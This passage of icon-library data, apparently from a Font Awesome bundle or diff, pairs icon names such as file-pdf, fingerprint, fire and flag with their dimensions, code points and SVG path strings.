"file-csv": [ 384, 512, [], "f6dd", "M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm-96 144c0 4.42-3.58 8-8 8h-8c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h8c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8h-8c-26.51 0-48-21.49-48-48v-32c0-26.51 21.49-48 48-48h8c4.42 0 8 3.58 8 8v16zm44.27 104H160c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h12.27c5.95 0 10.41-3.5 10.41-6.62 0-1.3-.75-2.66-2.12-3.84l-21.89-18.77c-8.47-7.22-13.33-17.48-13.33-28.14 0-21.3 19.02-38.62 42.41-38.62H200c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8h-12.27c-5.95 0-10.41 3.5-10.41 6.62 0 1.3.75 2.66 2.12 3.84l21.89 18.77c8.47 7.22 13.33 17.48 13.33 28.14.01 21.29-19 38.62-42.39 38.62zM256 264v20.8c0 20.27 5.7 40.17 16 56.88 10.3-16.7 16-36.61 16-56.88V264c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v20.8c0 35.48-12.88 68.89-36.28 94.09-3.02 3.25-7.27 5.11-11.72 5.11s-8.7-1.86-11.72-5.11c-23.4-25.2-36.28-58.61-36.28-94.09V264c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8zm121-159L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9z" ], + "file-download": [ 384, 512, [], "f56d", "M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm76.45 211.36l-96.42 95.7c-6.65 6.61-17.39 6.61-24.04 0l-96.42-95.7C73.42 337.29 80.54 320 94.82 320H160v-80c0-8.84 7.16-16 16-16h32c8.84 0 16 7.16 16 16v80h65.18c14.28 0 21.4 17.29 11.27 27.36zM377 105L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9z" ], + "file-excel": [ 384, 512, [], "f1c3", "M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm60.1 106.5L224 336l60.1 93.5c5.1 8-.6 18.5-10.1 18.5h-34.9c-4.4 0-8.5-2.4-10.6-6.3C208.9 405.5 192 373 192 373c-6.4 14.8-10 20-36.6 68.8-2.1 3.9-6.1 6.3-10.5 6.3H110c-9.5 0-15.2-10.5-10.1-18.5l60.3-93.5-60.3-93.5c-5.2-8 .6-18.5 10.1-18.5h34.8c4.4 0 8.5 2.4 10.6 6.3 26.1 48.8 20 33.6 36.6 68.5 0 0 6.1-11.7 36.6-68.5 2.1-3.9 6.2-6.3 10.6-6.3H274c9.5-.1 15.2 10.4 10.1 18.4zM384 121.9v6.1H256V0h6.1c6.4 0 12.5 2.5 17 7l97.9 98c4.5 4.5 7 10.6 7 16.9z" ], + "file-export": [ 576, 512, [], "f56e", "M384 121.9c0-6.3-2.5-12.4-7-16.9L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128zM571 308l-95.7-96.4c-10.1-10.1-27.4-3-27.4 11.3V288h-64v64h64v65.2c0 14.3 17.3 21.4 27.4 11.3L571 332c6.6-6.6 6.6-17.4 0-24zm-379 28v-32c0-8.8 7.2-16 16-16h176V160H248c-13.2 0-24-10.8-24-24V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V352H208c-8.8 0-16-7.2-16-16z" ], + "file-image": [ 384, 512, [], "f1c5", "M384 121.941V128H256V0h6.059a24 24 0 0 1 16.97 7.029l97.941 97.941a24.002 24.002 0 0 1 7.03 16.971zM248 160c-13.2 0-24-10.8-24-24V0H24C10.745 0 0 10.745 0 24v464c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24V160H248zm-135.455 16c26.51 0 48 21.49 48 48s-21.49 48-48 48-48-21.49-48-48 21.491-48 48-48zm208 240h-256l.485-48.485L104.545 328c4.686-4.686 11.799-4.201 16.485.485L160.545 368 264.06 264.485c4.686-4.686 12.284-4.686 16.971 0L320.545 304v112z" ], + "file-import": [ 512, 512, [], "f56f", "M16 288c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h112v-64zm489-183L407.1 7c-4.5-4.5-10.6-7-17-7H384v128h128v-6.1c0-6.3-2.5-12.4-7-16.9zm-153 31V0H152c-13.3 0-24 10.7-24 24v264h128v-65.2c0-14.3 17.3-21.4 27.4-11.3L379 308c6.6 6.7 6.6 17.4 0 24l-95.7 96.4c-10.1 10.1-27.4 3-27.4-11.3V352H128v136c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H376c-13.2 0-24-10.8-24-24z" ], + "file-invoice": [ 384, 512, [], "f570", "M288 256H96v64h192v-64zm89-151L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9zm-153 31V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zM64 72c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8V72zm0 64c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-16zm256 304c0 4.42-3.58 8-8 8h-80c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16zm0-200v96c0 8.84-7.16 16-16 16H80c-8.84 0-16-7.16-16-16v-96c0-8.84 7.16-16 16-16h224c8.84 0 16 7.16 16 16z" ], + "file-invoice-dollar": [ 384, 512, [], "f571", "M377 105L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9zm-153 31V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zM64 72c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8V72zm0 80v-16c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8zm144 263.88V440c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-24.29c-11.29-.58-22.27-4.52-31.37-11.35-3.9-2.93-4.1-8.77-.57-12.14l11.75-11.21c2.77-2.64 6.89-2.76 10.13-.73 3.87 2.42 8.26 3.72 12.82 3.72h28.11c6.5 0 11.8-5.92 11.8-13.19 0-5.95-3.61-11.19-8.77-12.73l-45-13.5c-18.59-5.58-31.58-23.42-31.58-43.39 0-24.52 19.05-44.44 42.67-45.07V232c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v24.29c11.29.58 22.27 4.51 31.37 11.35 3.9 2.93 4.1 8.77.57 12.14l-11.75 11.21c-2.77 2.64-6.89 2.76-10.13.73-3.87-2.43-8.26-3.72-12.82-3.72h-28.11c-6.5 0-11.8 5.92-11.8 13.19 0 5.95 3.61 11.19 8.77 12.73l45 13.5c18.59 5.58 31.58 23.42 31.58 43.39 0 24.53-19.05 44.44-42.67 45.07z" ], + "file-medical": [ 384, 512, [], "f477", "M377 105L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9zm-153 31V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm64 160v48c0 4.4-3.6 8-8 8h-56v56c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-56h-56c-4.4 0-8-3.6-8-8v-48c0-4.4 3.6-8 8-8h56v-56c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v56h56c4.4 0 8 3.6 8 8z" ], + "file-medical-alt": [ 448, 512, [], "f478", "M288 136V0H88C74.7 0 64 10.7 64 24v232H8c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8h140.9c3 0 5.8 1.7 7.2 4.4l19.9 39.8 56.8-113.7c2.9-5.9 11.4-5.9 14.3 0l34.7 69.5H352c8.8 0 16 7.2 16 16s-7.2 16-16 16h-89.9L240 275.8l-56.8 113.7c-2.9 5.9-11.4 5.9-14.3 0L134.1 320H64v168c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H312c-13.2 0-24-10.8-24-24zm153-31L343.1 7c-4.5-4.5-10.6-7-17-7H320v128h128v-6.1c0-6.3-2.5-12.4-7-16.9z" ], + "file-pdf": [ 384, 512, [], "f1c1", "M181.9 256.1c-5-16-4.9-46.9-2-46.9 8.4 0 7.6 36.9 2 46.9zm-1.7 47.2c-7.7 20.2-17.3 43.3-28.4 62.7 18.3-7 39-17.2 62.9-21.9-12.7-9.6-24.9-23.4-34.5-40.8zM86.1 428.1c0 .8 13.2-5.4 34.9-40.2-6.7 6.3-29.1 24.5-34.9 40.2zM248 160h136v328c0 13.3-10.7 24-24 24H24c-13.3 0-24-10.7-24-24V24C0 10.7 10.7 0 24 0h200v136c0 13.2 10.8 24 24 24zm-8 171.8c-20-12.2-33.3-29-42.7-53.8 4.5-18.5 11.6-46.6 6.2-64.2-4.7-29.4-42.4-26.5-47.8-6.8-5 18.3-.4 44.1 8.1 77-11.6 27.6-28.7 64.6-40.8 85.8-.1 0-.1.1-.2.1-27.1 13.9-73.6 44.5-54.5 68 5.6 6.9 16 10 21.5 10 17.9 0 35.7-18 61.1-61.8 25.8-8.5 54.1-19.1 79-23.2 21.7 11.8 47.1 19.5 64 19.5 29.2 0 31.2-32 19.7-43.4-13.9-13.6-54.3-9.7-73.6-7.2zM377 105L279 7c-4.5-4.5-10.6-7-17-7h-6v128h128v-6.1c0-6.3-2.5-12.4-7-16.9zm-74.1 255.3c4.1-2.7-2.5-11.9-42.8-9 37.1 15.8 42.8 9 42.8 9z" ], + "file-powerpoint": [ 384, 512, [], "f1c4", "M193.7 271.2c8.8 0 15.5 2.7 20.3 8.1 9.6 10.9 9.8 32.7-.2 44.1-4.9 5.6-11.9 8.5-21.1 8.5h-26.9v-60.7h27.9zM377 105L279 7c-4.5-4.5-10.6-7-17-7h-6v128h128v-6.1c0-6.3-2.5-12.4-7-16.9zm-153 31V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm53 165.2c0 90.3-88.8 77.6-111.1 77.6V436c0 6.6-5.4 12-12 12h-30.8c-6.6 0-12-5.4-12-12V236.2c0-6.6 5.4-12 12-12h81c44.5 0 72.9 32.8 72.9 77z" ], + "file-prescription": [ 384, 512, [], "f572", "M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm68.53 179.48l11.31 11.31c6.25 6.25 6.25 16.38 0 22.63l-29.9 29.9L304 409.38c6.25 6.25 6.25 16.38 0 22.63l-11.31 11.31c-6.25 6.25-16.38 6.25-22.63 0L240 413.25l-30.06 30.06c-6.25 6.25-16.38 6.25-22.63 0L176 432c-6.25-6.25-6.25-16.38 0-22.63l30.06-30.06L146.74 320H128v48c0 8.84-7.16 16-16 16H96c-8.84 0-16-7.16-16-16V208c0-8.84 7.16-16 16-16h80c35.35 0 64 28.65 64 64 0 24.22-13.62 45.05-33.46 55.92L240 345.38l29.9-29.9c6.25-6.25 16.38-6.25 22.63 0zM176 272h-48v-32h48c8.82 0 16 7.18 16 16s-7.18 16-16 16zm208-150.1v6.1H256V0h6.1c6.4 0 12.5 2.5 17 7l97.9 98c4.5 4.5 7 10.6 7 16.9z" ], + "file-signature": [ 576, 512, [], "f573", "M218.17 424.14c-2.95-5.92-8.09-6.52-10.17-6.52s-7.22.59-10.02 6.19l-7.67 15.34c-6.37 12.78-25.03 11.37-29.48-2.09L144 386.59l-10.61 31.88c-5.89 17.66-22.38 29.53-41 29.53H80c-8.84 0-16-7.16-16-16s7.16-16 16-16h12.39c4.83 0 9.11-3.08 10.64-7.66l18.19-54.64c3.3-9.81 12.44-16.41 22.78-16.41s19.48 6.59 22.77 16.41l13.88 41.64c19.75-16.19 54.06-9.7 66 14.16 1.89 3.78 5.49 5.95 9.36 6.26v-82.12l128-127.09V160H248c-13.2 0-24-10.8-24-24V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24v-40l-128-.11c-16.12-.31-30.58-9.28-37.83-23.75zM384 121.9c0-6.3-2.5-12.4-7-16.9L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1zm-96 225.06V416h68.99l161.68-162.78-67.88-67.88L288 346.96zm280.54-179.63l-31.87-31.87c-9.94-9.94-26.07-9.94-36.01 0l-27.25 27.25 67.88 67.88 27.25-27.25c9.95-9.94 9.95-26.07 0-36.01z" ], + "file-upload": [ 384, 512, [], "f574", "M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm65.18 216.01H224v80c0 8.84-7.16 16-16 16h-32c-8.84 0-16-7.16-16-16v-80H94.82c-14.28 0-21.41-17.29-11.27-27.36l96.42-95.7c6.65-6.61 17.39-6.61 24.04 0l96.42 95.7c10.15 10.07 3.03 27.36-11.25 27.36zM377 105L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9z" ], + "file-video": [ 384, 512, [], "f1c8", "M384 121.941V128H256V0h6.059c6.365 0 12.47 2.529 16.971 7.029l97.941 97.941A24.005 24.005 0 0 1 384 121.941zM224 136V0H24C10.745 0 0 10.745 0 24v464c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24V160H248c-13.2 0-24-10.8-24-24zm96 144.016v111.963c0 21.445-25.943 31.998-40.971 16.971L224 353.941V392c0 13.255-10.745 24-24 24H88c-13.255 0-24-10.745-24-24V280c0-13.255 10.745-24 24-24h112c13.255 0 24 10.745 24 24v38.059l55.029-55.013c15.011-15.01 40.971-4.491 40.971 16.97z" ], + "file-word": [ 384, 512, [], "f1c2", "M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm57.1 120H305c7.7 0 13.4 7.1 11.7 14.7l-38 168c-1.2 5.5-6.1 9.3-11.7 9.3h-38c-5.5 0-10.3-3.8-11.6-9.1-25.8-103.5-20.8-81.2-25.6-110.5h-.5c-1.1 14.3-2.4 17.4-25.6 110.5-1.3 5.3-6.1 9.1-11.6 9.1H117c-5.6 0-10.5-3.9-11.7-9.4l-37.8-168c-1.7-7.5 4-14.6 11.7-14.6h24.5c5.7 0 10.7 4 11.8 9.7 15.6 78 20.1 109.5 21 122.2 1.6-10.2 7.3-32.7 29.4-122.7 1.3-5.4 6.1-9.1 11.7-9.1h29.1c5.6 0 10.4 3.8 11.7 9.2 24 100.4 28.8 124 29.6 129.4-.2-11.2-2.6-17.8 21.6-129.2 1-5.6 5.9-9.5 11.5-9.5zM384 121.9v6.1H256V0h6.1c6.4 0 12.5 2.5 17 7l97.9 98c4.5 4.5 7 10.6 7 16.9z" ], + fill: [ 512, 512, [], "f575", "M502.63 217.06L294.94 9.37C288.69 3.12 280.5 0 272.31 0s-16.38 3.12-22.62 9.37l-81.58 81.58L81.93 4.77c-6.24-6.25-16.38-6.25-22.62 0L36.69 27.38c-6.24 6.25-6.24 16.38 0 22.63l86.19 86.18-94.76 94.76c-37.49 37.49-37.49 98.26 0 135.75l117.19 117.19c18.75 18.74 43.31 28.12 67.87 28.12 24.57 0 49.13-9.37 67.88-28.12l221.57-221.57c12.49-12.5 12.49-32.76 0-45.26zm-116.22 70.97H65.93c1.36-3.84 3.57-7.98 7.43-11.83l13.15-13.15 81.61-81.61 58.61 58.6c12.49 12.49 32.75 12.49 45.24 0 12.49-12.49 12.49-32.75 0-45.24l-58.61-58.6 58.95-58.95 162.45 162.44-48.35 48.34z" ], + "fill-drip": [ 576, 512, [], "f576", "M512 320s-64 92.65-64 128c0 35.35 28.66 64 64 64s64-28.65 64-64-64-128-64-128zm-9.37-102.94L294.94 9.37C288.69 3.12 280.5 0 272.31 0s-16.38 3.12-22.62 9.37l-81.58 81.58L81.93 4.76c-6.25-6.25-16.38-6.25-22.62 0L36.69 27.38c-6.24 6.25-6.24 16.38 0 22.62l86.19 86.18-94.76 94.76c-37.49 37.48-37.49 98.26 0 135.75l117.19 117.19c18.74 18.74 43.31 28.12 67.87 28.12 24.57 0 49.13-9.37 67.87-28.12l221.57-221.57c12.5-12.5 12.5-32.75.01-45.25zm-116.22 70.97H65.93c1.36-3.84 3.57-7.98 7.43-11.83l13.15-13.15 81.61-81.61 58.6 58.6c12.49 12.49 32.75 12.49 45.24 0s12.49-32.75 0-45.24l-58.6-58.6 58.95-58.95 162.44 162.44-48.34 48.34z" ], + film: [ 512, 512, [], "f008", "M488 64h-8v20c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12V64H96v20c0 6.6-5.4 12-12 12H44c-6.6 0-12-5.4-12-12V64h-8C10.7 64 0 74.7 0 88v336c0 13.3 10.7 24 24 24h8v-20c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v20h320v-20c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v20h8c13.3 0 24-10.7 24-24V88c0-13.3-10.7-24-24-24zM96 372c0 6.6-5.4 12-12 12H44c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm0-96c0 6.6-5.4 12-12 12H44c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm0-96c0 6.6-5.4 12-12 12H44c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm272 208c0 6.6-5.4 12-12 12H156c-6.6 0-12-5.4-12-12v-96c0-6.6 5.4-12 12-12h200c6.6 0 12 5.4 12 12v96zm0-168c0 6.6-5.4 12-12 12H156c-6.6 0-12-5.4-12-12v-96c0-6.6 5.4-12 12-12h200c6.6 0 12 5.4 12 12v96zm112 152c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm0-96c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm0-96c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40z" ], + filter: [ 512, 512, [], "f0b0", "M487.976 0H24.028C2.71 0-8.047 25.866 7.058 40.971L192 225.941V432c0 7.831 3.821 15.17 10.237 19.662l80 55.98C298.02 518.69 320 507.493 320 487.98V225.941l184.947-184.97C520.021 25.896 509.338 0 487.976 0z" ], + fingerprint: [ 512, 512, [], "f577", "M256.12 245.96c-13.25 0-24 10.74-24 24 1.14 72.25-8.14 141.9-27.7 211.55-2.73 9.72 2.15 30.49 23.12 30.49 10.48 0 20.11-6.92 23.09-17.52 13.53-47.91 31.04-125.41 29.48-224.52.01-13.25-10.73-24-23.99-24zm-.86-81.73C194 164.16 151.25 211.3 152.1 265.32c.75 47.94-3.75 95.91-13.37 142.55-2.69 12.98 5.67 25.69 18.64 28.36 13.05 2.67 25.67-5.66 28.36-18.64 10.34-50.09 15.17-101.58 14.37-153.02-.41-25.95 19.92-52.49 54.45-52.34 31.31.47 57.15 25.34 57.62 55.47.77 48.05-2.81 96.33-10.61 143.55-2.17 13.06 6.69 25.42 19.76 27.58 19.97 3.33 26.81-15.1 27.58-19.77 8.28-50.03 12.06-101.21 11.27-152.11-.88-55.8-47.94-101.88-104.91-102.72zm-110.69-19.78c-10.3-8.34-25.37-6.8-33.76 3.48-25.62 31.5-39.39 71.28-38.75 112 .59 37.58-2.47 75.27-9.11 112.05-2.34 13.05 6.31 25.53 19.36 27.89 20.11 3.5 27.07-14.81 27.89-19.36 7.19-39.84 10.5-80.66 9.86-121.33-.47-29.88 9.2-57.88 28-80.97 8.35-10.28 6.79-25.39-3.49-33.76zm109.47-62.33c-15.41-.41-30.87 1.44-45.78 4.97-12.89 3.06-20.87 15.98-17.83 28.89 3.06 12.89 16 20.83 28.89 17.83 11.05-2.61 22.47-3.77 34-3.69 75.43 1.13 137.73 61.5 138.88 134.58.59 37.88-1.28 76.11-5.58 113.63-1.5 13.17 7.95 25.08 21.11 26.58 16.72 1.95 25.51-11.88 26.58-21.11a929.06 929.06 0 0 0 5.89-119.85c-1.56-98.75-85.07-180.33-186.16-181.83zm252.07 121.45c-2.86-12.92-15.51-21.2-28.61-18.27-12.94 2.86-21.12 15.66-18.26 28.61 4.71 21.41 4.91 37.41 4.7 61.6-.11 13.27 10.55 24.09 23.8 24.2h.2c13.17 0 23.89-10.61 24-23.8.18-22.18.4-44.11-5.83-72.34zm-40.12-90.72C417.29 43.46 337.6 1.29 252.81.02 183.02-.82 118.47 24.91 70.46 72.94 24.09 119.37-.9 181.04.14 246.65l-.12 21.47c-.39 13.25 10.03 24.31 23.28 24.69.23.02.48.02.72.02 12.92 0 23.59-10.3 23.97-23.3l.16-23.64c-.83-52.5 19.16-101.86 56.28-139 38.76-38.8 91.34-59.67 147.68-58.86 69.45 1.03 134.73 35.56 174.62 92.39 7.61 10.86 22.56 13.45 33.42 5.86 10.84-7.62 13.46-22.59 5.84-33.43z" ], + fire: [ 384, 512, [], "f06d", "M216 23.86c0-23.8-30.65-32.77-44.15-13.04C48 191.85 224 200 224 288c0 35.63-29.11 64.46-64.85 63.99-35.17-.45-63.15-29.77-63.15-64.94v-85.51c0-21.7-26.47-32.23-41.43-16.5C27.8 213.16 0 261.33 0 320c0 105.87 86.13 192 192 192s192-86.13 192-192c0-170.29-168-193-168-296.14z" ], + "fire-alt": [ 448, 512, [], "f7e4", "M323.56 51.2c-20.8 19.3-39.58 39.59-56.22 59.97C240.08 73.62 206.28 35.53 168 0 69.74 91.17 0 209.96 0 281.6 0 408.85 100.29 512 224 512s224-103.15 224-230.4c0-53.27-51.98-163.14-124.44-230.4zm-19.47 340.65C282.43 407.01 255.72 416 226.86 416 154.71 416 96 368.26 96 290.75c0-38.61 24.31-72.63 72.79-130.75 6.93 7.98 98.83 125.34 98.83 125.34l58.63-66.88c4.14 6.85 7.91 13.55 11.27 19.97 27.35 52.19 15.81 118.97-33.43 153.42z" ], + "fire-extinguisher": [ 448, 512, [], "f134", "M434.027 26.329l-168 28C254.693 56.218 256 67.8 256 72h-58.332C208.353 36.108 181.446 0 144 0c-39.435 0-66.368 39.676-52.228 76.203-52.039 13.051-75.381 54.213-90.049 90.884-4.923 12.307 1.063 26.274 13.37 31.197 12.317 4.926 26.279-1.075 31.196-13.37C75.058 112.99 106.964 120 168 120v27.076c-41.543 10.862-72 49.235-72 94.129V488c0 13.255 10.745 24 24 24h144c13.255 0 24-10.745 24-24V240c0-44.731-30.596-82.312-72-92.97V120h40c0 2.974-1.703 15.716 10.027 17.671l168 28C441.342 166.89 448 161.25 448 153.834V38.166c0-7.416-6.658-13.056-13.973-11.837zM144 72c-8.822 0-16-7.178-16-16s7.178-16 16-16 16 7.178 16 16-7.178 16-16 16z" ], + "first-aid": [ 576, 512, [], "f479", "M0 80v352c0 26.5 21.5 48 48 48h48V32H48C21.5 32 0 53.5 0 80zm128 400h320V32H128v448zm64-248c0-4.4 3.6-8 8-8h56v-56c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v56h56c4.4 0 8 3.6 8 8v48c0 4.4-3.6 8-8 8h-56v56c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-56h-56c-4.4 0-8-3.6-8-8v-48zM528 32h-48v448h48c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48z" ], + fish: [ 576, 512, [], "f578", "M327.1 96c-89.97 0-168.54 54.77-212.27 101.63L27.5 131.58c-12.13-9.18-30.24.6-27.14 14.66L24.54 256 .35 365.77c-3.1 14.06 15.01 23.83 27.14 14.66l87.33-66.05C158.55 361.23 237.13 416 327.1 416 464.56 416 576 288 576 256S464.56 96 327.1 96zm87.43 184c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24 13.26 0 24 10.74 24 24 0 13.25-10.75 24-24 24z" ], + "fist-raised": [ 384, 512, [], "f6de", "M255.98 160V16c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v146.93c5.02-1.78 10.34-2.93 15.97-2.93h48.03zm128 95.99c-.01-35.34-28.66-63.99-63.99-63.99H207.85c-8.78 0-15.9 7.07-15.9 15.85v.56c0 26.27 21.3 47.59 47.57 47.59h35.26c9.68 0 13.2 3.58 13.2 8v16.2c0 4.29-3.59 7.78-7.88 8-44.52 2.28-64.16 24.71-96.05 72.55l-6.31 9.47a7.994 7.994 0 0 1-11.09 2.22l-13.31-8.88a7.994 7.994 0 0 1-2.22-11.09l6.31-9.47c15.73-23.6 30.2-43.26 47.31-58.08-17.27-5.51-31.4-18.12-38.87-34.45-6.59 3.41-13.96 5.52-21.87 5.52h-32c-12.34 0-23.49-4.81-32-12.48C71.48 251.19 60.33 256 48 256H16c-5.64 0-10.97-1.15-16-2.95v77.93c0 33.95 13.48 66.5 37.49 90.51L63.99 448v64h255.98v-63.96l35.91-35.92A96.035 96.035 0 0 0 384 344.21l-.02-88.22zm-32.01-90.09V48c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v112h32c11.28 0 21.94 2.31 32 5.9zM16 224h32c8.84 0 16-7.16 16-16V80c0-8.84-7.16-16-16-16H16C7.16 64 0 71.16 0 80v128c0 8.84 7.16 16 16 16zm95.99 0h32c8.84 0 16-7.16 16-16V48c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v160c0 8.84 7.16 16 16 16z" ], + flag: [ 512, 512, [], "f024", "M349.565 98.783C295.978 98.783 251.721 64 184.348 64c-24.955 0-47.309 4.384-68.045 12.013a55.947 55.947 0 0 0 3.586-23.562C118.117 24.015 94.806 1.206 66.338.048 34.345-1.254 8 24.296 8 56c0 19.026 9.497 35.825 24 45.945V488c0 13.255 10.745 24 24 24h16c13.255 0 24-10.745 24-24v-94.4c28.311-12.064 63.582-22.122 114.435-22.122 53.588 0 97.844 34.783 165.217 34.783 48.169 0 86.667-16.294 122.505-40.858C506.84 359.452 512 349.571 512 339.045v-243.1c0-23.393-24.269-38.87-45.485-29.016-34.338 15.948-76.454 31.854-116.95 31.854z" ], + "flag-checkered": [ 512, 512, [], "f11e", "M243.2 189.9V258c26.1 5.9 49.3 15.6 73.6 22.3v-68.2c-26-5.8-49.4-15.5-73.6-22.2zm223.3-123c-34.3 15.9-76.5 31.9-117 31.9C296 98.8 251.7 64 184.3 64c-25 0-47.3 4.4-68 12 2.8-7.3 4.1-15.2 3.6-23.6C118.1 24 94.8 1.2 66.3 0 34.3-1.3 8 24.3 8 56c0 19 9.5 35.8 24 45.9V488c0 13.3 10.7 24 24 24h16c13.3 0 24-10.7 24-24v-94.4c28.3-12.1 63.6-22.1 114.4-22.1 53.6 0 97.8 34.8 165.2 34.8 48.2 0 86.7-16.3 122.5-40.9 8.7-6 13.8-15.8 13.8-26.4V95.9c.1-23.3-24.2-38.8-45.4-29zM169.6 325.5c-25.8 2.7-50 8.2-73.6 16.6v-70.5c26.2-9.3 47.5-15 73.6-17.4zM464 191c-23.6 9.8-46.3 19.5-73.6 23.9V286c24.8-3.4 51.4-11.8 73.6-26v70.5c-25.1 16.1-48.5 24.7-73.6 27.1V286c-27 3.7-47.9 1.5-73.6-5.6v67.4c-23.9-7.4-47.3-16.7-73.6-21.3V258c-19.7-4.4-40.8-6.8-73.6-3.8v-70c-22.4 3.1-44.6 10.2-73.6 20.9v-70.5c33.2-12.2 50.1-19.8 73.6-22v71.6c27-3.7 48.4-1.3 73.6 5.7v-67.4c23.7 7.4 47.2 16.7 73.6 21.3v68.4c23.7 5.3 47.6 6.9 73.6 2.7V143c27-4.8 52.3-13.6 73.6-22.5z" ], + "flag-usa": [ 512, 512, [], "f74d", "M32 0C14.3 0 0 14.3 0 32v464c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V32C64 14.3 49.7 0 32 0zm267.9 303.6c-57.2-15.1-111.7-28.8-203.9 11.1V384c185.7-92.2 221.7 53.3 397.5-23.1 11.4-5 18.5-16.5 18.5-28.8v-36c-43.6 17.3-80.2 24.1-112.1 24.1-37.4-.1-68.9-8.4-100-16.6zm0-96c-57.2-15.1-111.7-28.8-203.9 11.1v61.5c94.8-37.6 154.6-22.7 212.1-7.6 57.2 15.1 111.7 28.8 203.9-11.1V200c-43.6 17.3-80.2 24.1-112.1 24.1-37.4 0-68.9-8.3-100-16.5zm9.5-125.9c51.8 15.6 97.4 29 202.6-20.1V30.8c0-25.1-26.8-38.1-49.4-26.6C291.3 91.5 305.4-62.2 96 32.4v151.9c94.8-37.5 154.6-22.7 212.1-7.6 57.2 15 111.7 28.7 